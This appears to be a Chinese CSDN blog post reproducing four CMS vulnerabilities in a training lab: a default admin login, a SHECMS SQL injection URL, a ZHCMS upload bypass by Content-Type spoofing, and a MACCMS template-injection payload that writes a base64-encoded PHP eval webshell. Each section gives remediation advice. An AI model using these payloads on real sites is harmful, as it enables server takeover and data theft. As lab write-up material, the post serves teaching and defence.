CMS漏洞(发货100CMS、SHECMS、ZHCMS、MACCMS)详解实战

最新推荐文章于 2024-08-04 22:21:07 发布
最新推荐文章于 2024-08-04 22:21:07 发布
阅读量7.8k 收藏 31
点赞数 7
分类专栏： CVE 文章标签： 安全漏洞 cms php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xinyue9966/article/details/113854673
版权

CMS漏洞

发货100CMS(弱口令)

介绍

  1. 弱口令漏洞
    由于网站用户帐号存在弱口令，导致攻击者通过弱口令可轻松登录到网站中，从而进行下一步的攻击，如上传webshell，获取敏感数据。另外攻击者利用弱口令登录网站管理后台，可执行任意管理员的操作。

系统版本

Apache:------2.4.7
100 CMS:----v1.0_build20200117

靶场搭建

东塔靶场发货100CMS

漏洞复现

在这里插入图片描述后台地址

后台地址： http://ip:port/admin/login.phpadmin/login.php

登录admin admin用户即可成功登入
在这里插入图片描述

修复方案

  1. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略；

  2. 完善密码策略，信息安全最佳实践的密码策略为8位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少3种。

  3. 增加人机验证机制，限制IP访问次数。

SHECMS(SQL注入)

介绍

  1. SQL注入漏洞
    Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行，导致参数中的特殊字符破坏了SQL语句原有逻辑，攻击者可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

  2. SHECMS v1.7

    SHECMS商城系统是将商品展示、在线购物、订单管理、支付管理、文章管理、客户咨询反馈等功能相结合，并提供了简易的操作、实用的功能，快速让用户建立个性化的网上商店，为用户提供了一个低成本、高效率的网上商城建设方案

系统版本

Apache:-------2.4.7
SHECMS:----v1.7

靶场搭建

东塔靶场SHECMS

漏洞复现

可以跳转到支付接口

http://ip:port/include/plugin/payment/alipay/pay.php

在这里插入图片描述在首页访问

/include/plugin/payment/alipay/pay.php?id=pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

页面使用burp抓包发送到重放模块构造sql注入语句
在这里插入图片描述
在这里插入图片描述在这里插入图片描述此实验往后面注入过滤了单引号，并且在payload中不能出现下划线，导致无法查出数据库中的大部分数据

修复方案

  1. 构造的sql语句时使用参数化形式而不使用拼接方式能够可靠地避免sql注入，主流的数据库和语言都支持参数化形式
  2. 拼接加对输入进行单引号和sql关键字过滤的方法也能在一定程度上防护sql注入
  3. 采用sql语句预编译和绑定变量
  4. 严格检查参数的数据类型，还有可以使用一些安全函数，来防止sql注入
  5. 拼接加对输入进行单引号和sql关键字过滤的方法也能在一定程度上防护sql注入
  6. 采用sql语句预编译和绑定变量
  7. 严格检查参数的数据类型，还有可以使用一些安全函数，来防止sql注入
  8. 采用sql语句预编译和绑定变量
  9. 严格检查参数的数据类型，还有可以使用一些安全函数，来防止sql注入

ZHCMS(文件上传)

介绍

  1. 文件上传漏洞简介

    在文件上传的功能处，若服务端脚本语言未对上传的文件进行严格验证和过滤，导致恶意用户上传恶意的脚本文件时，就有可能获取执行服务端命令的能力，这就是文件上传漏洞。文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下，Web应用都会允许用户上传一些文件，如头像、附件等信息，如果Web应用没有对用户上传的文件进行有效的检查过滤，那么恶意用户就会上传一句话木马等Webshell，从而达到控制Web网站的目的.

  2. ZHCMS

    ZHCMS系统是由BraveGuo根据几年的开发经验积累而成的一个高效、简洁、安全的cms系统，无任何多余累赘的功能；高效的页面执行效率，特别优化系统安全性能，可令你在茫茫网海中一支独秀。java+mysql的完美结合。自创的模板引擎；因为BraveGuo以前是asp、php和net的程序员，所以在模板中引入了一些其他语言的优秀之处。系统是由内容发布（包含一个简易的缓存和一个简易的数据库连接池）组成，其他的所有的功能都是以插件形式出现，可以随时开启和关闭。

  3. MIME检测

    服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。

系统版本

Apache:-------2.4.7

靶场搭建

东塔靶场ZHCMS

漏洞复现

爆破到一个弱口令账户，可惜没有后台登录权限
在这里插入图片描述有图片上传界面，尝试上传php被拦截，后改格式
在这里插入图片描述burp上传改格式

Connact-Type: image/jpeg

在这里插入图片描述

在这里插入图片描述
蚁剑连接即可得到shell后台

修复方案

  1. 对上传的文件在服务器上存储时进行重命名
  2. 禁止上传危险的文件类型，如jsp jar war等
  3. 只接收指定类型的文件
  4. 上传文件做日志记录

MACCMS(CNVD-2019-43865)

介绍

  1. 苹果CMS V8 V10版本存在代码重装漏洞，以及代码后门漏洞，任意文件删除漏洞，通过CNVD-2019-43865的信息安全漏洞通报，可以确认maccms V10存在漏洞，可以伪造恶意代码发送到网站后端进行执行，可以删除网站目录下的任意文件，可删除重装苹果CMS系统的配置文件，导致可以重新安装maccms系统，并在安装过程中插入sql注入代码到数据库中去执行并获取webshell以及服务器权限。

系统版本

Apache:-------2.4.7

靶场搭建

东塔靶场MACCMS

漏洞复现

POST传值phpinfo payload:

http://ip:port/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}

POST传值shell payload:

http://ip:port/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28dGVzdC5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW3Rlc3RdKTsgPz4%29%29)}{endif-A}

在这里插入图片描述蚁剑连接即可

http://ip:port/test.php 密码test

修复方案

  1. 对任意文件删除漏洞做安全过滤与检查，防止del删除的语句的执行
  2. 对前端传输过来的参数进行严格的检测，不管是get,post,cookies，如果您对代码不是太懂的话也可以找专业的网站3. 安全公司来处理解决苹果CMS网站被攻击的问题，
  3. 对重装文件进行改名以及安装配置文件进行权限设置，只读权限
  4. 对于存在网站木马后门的苹果cms系统，人工对代码进行安全审计，对所有网站
  5. 目录下每个代码文件都要仔细的排查，可以下载官方的源代码进行比对
幸运之河
关注
专栏目录
Web-CMS漏洞
凌云鹤YK
02-21 8427
Web-CMS漏洞Web-CMS漏洞漏洞一:ThinkPHP <5.0.24 Request.php 远程代码执行漏洞漏洞二:ThinkPHP 5 <=5.0.22 远程代码执行高危漏洞漏洞三:微擎最新版SQL注入漏洞四:微擎1.5.4任意用户删除漏洞 Web-CMS漏洞 漏洞一:ThinkPHP <5.0.24 Request.php 远程代码执行漏洞 Url:https:/...
发货100虚拟商品自动发货系统存在SQL注入
天行健，君子以自强不息
10-14 942
道虽远，行则易至；儒虽难，坚为易成
常见的CMS漏洞解析！
muyuchen110的博客
08-04 1293
【代码】常见的CMS漏洞解析！
某CMS漏洞总结
include_voidmain的博客
08-01 4796
某CMS漏洞总结
PublicCMS 网站漏洞 任意文件写入并可提权服务器权限
网站安全专家
07-07 1621
PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站，开源，数据承载量大，可以承载到上千万的数据量，以及用户的网站并发可达到上千万的PV，PublicCMS静态全站html，访问速度极快，模板样式多，可自己设计，第三方的API接口也很多，深受网站运营者的喜欢。最重要的是开源，免费升级，支持动静分离，数据库及时备份等功能。SINE安全...
常见的CMS漏洞
C233333235的博客
08-03 659
通过⽇志⽂件拿Shell 利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改 这个存放位置，并且可以修改它的后缀名。查到数据库位置后，就可以大概猜测一下网站的根目录，一般www目录在phpstudt_pro下，是Extensions的同级目录。以确认我们的修改生效了，修改成功后，日志文件的后缀就被修改成了php，那么其中的php语句就会被运行。这样日志文件中就会有这个一句话木马的字样，我们去访问日志文件后，就可以进行连接获取shell。
常见的cms漏洞
最新发布
qq_68186313的博客
08-04 1393
2、点击【生成】--》【更新主页HTML】--》将主页位置修改为【.·/index.php】--》点击【生成静态】--》点击【更新主页】再次访问站点首页可发现变化。1、接着上一个环境使用，将带有后门的文件加入到主题中并将主题压缩为ZP文件点击【外观】-》【主题】--》【添加】--》【上传主题】--》【浏览】--》【现在安装】1、与WPCMS类似，直接修改模板拿WebShell..点击【模板】--》【默认模板管理】一》【index.htm】---》【修改】在文件修改中添加一句话代码如下。
一些CMS网站系统漏洞，练手用（持续更新）
dibodang1423的博客
04-30 940
仅供拿shell，提权测试用，请勿恶意破坏 XuSoft系统： 后台万能密码：'or'='or' 可直接登陆，后台地址/manage/login.asp inurl:ReadArticlemb.asp?id= inurl:ReadBigClassmb.asp?id= inurl:ReadBigClassmbNews.asp?id= UPUPW绿色服务器平...
（苹果CMS）整站程序+15套模板.zip_appcms15套模板_maccms10模板_maccms模版_苹果 CMS_苹果c
07-15
【苹果CMS整站程序与15套模板详解】 苹果CMS是一款流行的内容管理系统，主要用于搭建视频网站，它以其高效、易用、功能丰富的特性受到了许多用户的喜爱。本资源包含的"苹果CMS整站程序"是一套完整的网站搭建方案，...
maccms10_其他程序数据转换插件_maccms10_
09-29
《MacCMS10其他程序数据转换插件详解》 在当今互联网内容管理系统（CMS）繁多的环境下，不同平台之间的数据迁移与转换成为了许多网站管理员头疼的问题。针对这一需求，"MacCMS10其他程序数据转换插件"应运而生，它...
苹果cms标签代码
苹果cms10好看的模板
03-09 9416
模板标签 本篇主要讲解v10自带系统标签和模板规范 模板目录 系统模板系统放在/template/目录下。在后台站点设置中，可以选择当前使用的模板 code │─template/1/ 模板1 │ ├─info.ini 模板信息文件 │ ├─ads 广告文件目录 │ ├─js js文件 │ ├─css css文件 │ ├─images 图片文件 │ └─html 模板文件目录 │ └─ar...
苹果v10=hehe-ten清爽自适应修复模板
02-21
【苹果CMS v10 hehe-ten清爽自适应修复模板详解】 苹果CMS是一款广泛应用的开源内容管理系统，尤其在搭建视频网站方面备受青睐。这个“苹果v10=hehe-ten清爽自适应修复模板”是专门为苹果CMS v10版本设计的，旨在...
苹果CMS-v10系统标签
苹果cms10好看的模板
05-05 2675
模板标签 本篇主要讲解v10自带系统标签和模板规范 模板目录 系统模板系统放在/template/目录下。在后台站点设置中，可以选择当前使用的模板 声明：除特殊声明外本站文档均由作者原创，转载请注明出处，原文地址：苹果cms标签代码说明 code │─template/1/ 模板1 │ ├─ads 广告文件目录 │ ├─js js文件 │ ├─css css文件 │ ├─i...
cms 及其漏洞
2301_79089748的博客
11-24 690
案例a. SQL 注入：Magento 中的 SQL 注入漏洞可以让攻击者通过提交恶意 SQL 查询获取网站数据。b. XSS 攻击：Magento 中的 XSS 攻击可以让攻击者注入恶意 JavaScript 或 HTML 代码，从而更改网站内容。c. 文件包含漏洞：Magento 中的文件包含漏洞可以让攻击者上传恶意文件，从而获取网站数据。
phpcms 漏洞
erjian666的博客
11-02 2895
这个漏洞是某司的一位前辈发出来的，这里只是复现一下而已。 原文地址：https://www.t00ls.net/thread-39226-1-1.html 首先我们本地搭建一个phpcms9.6.0的环境 下载地址：http://www.mycodes.net/43/3365.htm   点击注册页面，进行抓包 在本地创建一个txt文本，写入一句话木马 POC s...
CMS V5.7 SP2漏洞复现（CVE-2018-20129）
haoaaao的博客
04-04 4777
0x00 前置 1、CVE中对该漏洞的描述： 在 DedeCMS V5.7 SP2 中发现了一个问题。uploads/include/dialog/select_images_post.php 允许远程攻击者通过双扩展名和修改的“.php”子字符串以及 image/jpeg 内容类型上传和执行任意 PHP 代码，如 filename=1 所示。 jpg.p*hp 值。 2、所需工具 （1）cms网站源码版本：DedeCMS V5.7 SP2 下载链接...
maccms10 采集
07-28
根据引用\[1\]中提供的信息，maccms10可以使用以下采集接口进行影视资源的采集： - 百度云资源：https://api.apibdzy.com/api.php/provide/vod/?ac=list - U酷资源-百度云资源的子站：https://api.ukuapi.com/api.php/provide/vod/at/xml/ - 麒麟资源：https://www.qilinzyz.com/api.php/provide/vod/?ac=list - 番茄资源：http://api.fqzy.cc/api.php/provide/vod/?ac=list - 红牛资源：https://www.hongniuzy1.com/inc/api.php - 无尽资源：https://api.wujinapi.com/api.php/provide/vod/?ac=list - kuaibozy资源：http://www.kuaibozy.com/api.php/provide/vod/from/kbm3u8/at/xml/ - 8090资源：http://zy.yilans.net:8090/api.php/provide/vod/?ac=list 而根据引用\[2\]中提供的信息，maccms10可以使用以下播放解析接口解析播放地址和m3u8视频： - https://cdn.zyc888.top/?url= （可能有广告） - 番茄资源：https://jiexi.8b5q.cn/player/jx.php?url= 最后，根据引用\[3\]中的建议，操作成功后，需要对分类进行绑定，以确保采集的数据与自己网站的数据有关联。 #### 引用[.reference_title] - *1* *2* [分享一些自己在用的maccms10的免费采集接口](https://blog.csdn.net/muzihuaner/article/details/124395958)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [苹果cms v10影视网站数据采集](https://blog.csdn.net/glei20/article/details/119735319)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 7
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值